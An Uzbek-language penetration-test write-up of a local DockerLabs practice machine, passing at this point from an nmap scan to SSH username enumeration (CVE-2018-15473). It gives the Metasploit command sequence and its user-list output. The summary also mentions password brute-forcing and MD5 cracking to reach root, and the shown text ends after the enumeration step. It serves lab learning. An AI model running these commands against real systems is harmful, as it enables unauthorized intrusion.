Pentest Hisoboti — DockerLabs mashinasi (BreakMySSH)

Maqsad host: 172.17.0.2 Hostname: 87347d7d3e12 Sana: 2026-08-20 Muhit: DockerLabs (lokal, ruxsat etilgan laboratoriya)

1. Qisqacha xulosa

Bu mashinada faqat bitta servis (SSH) ochiq edi, web-server umuman mavjud emas edi. Eski OpenSSH 7.7 versiyasi orqali foydalanuvchi nomlarini aniqlash (user enumeration) zaifligi mavjud bo'lib, buni Metasploit yordamida tasdiqlash mumkin bo'ldi. SSH paroli lug'at hujumi bilan topildi. Tizimga kirilgach, /opt katalogida qoldirilgan MD5 hash fayli topildi, uni crack qilish orqali root parolini olib, su root orqali to'liq tizim nazoratiga erishildi.

Natija: Tizimga to'liq root darajasida kirish imkoni bo'ldi.

2. Recon — Nmap skanerlash

nmap -sC -sV -T4 172.17.0.2

Natija:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.7 (protocol 2.0)

Faqat 22-port (SSH) ochiq — hech qanday web-server yoki boshqa servis yo'q. OpenSSH 7.7 versiyasi eskiroq bo'lib, unda mashhur user enumeration zaifligi (CVE-2018-15473) mavjud.

[RASM QO'YISH JOYI — Nmap natijasi]

3. Nima aniqlandi (zaifliklar)

3.1. SSH orqali foydalanuvchi nomlarini aniqlash (User Enumeration) — Darajasi: Past-O'rta

OpenSSH 7.7 versiyasidagi zaiflikdan foydalanib, Metasploit orqali tizimdagi mavjud foydalanuvchilar aniqlandi:

msfconsole
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 172.17.0.2
set USER_FILE /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
run

Natija:

[+] 172.17.0.2:22 - SSH - User 'mail' found
[+] 172.17.0.2:22 - SSH - User 'root' found
[+] 172.17.0.2:22 - SSH - User 'news' found
[+] 172.17.0.2:22 - SSH - User 'man' found
[+] 172.17.0.2:22 - SSH - User 'bin' found
[+] 172.17.0.2:22 - SSH - User 'games' found
[+] 172.17.0.2:22 - SSH - User 'nobody' found
[+] 172.17.0.2:22 - SSH - User 'lovely' found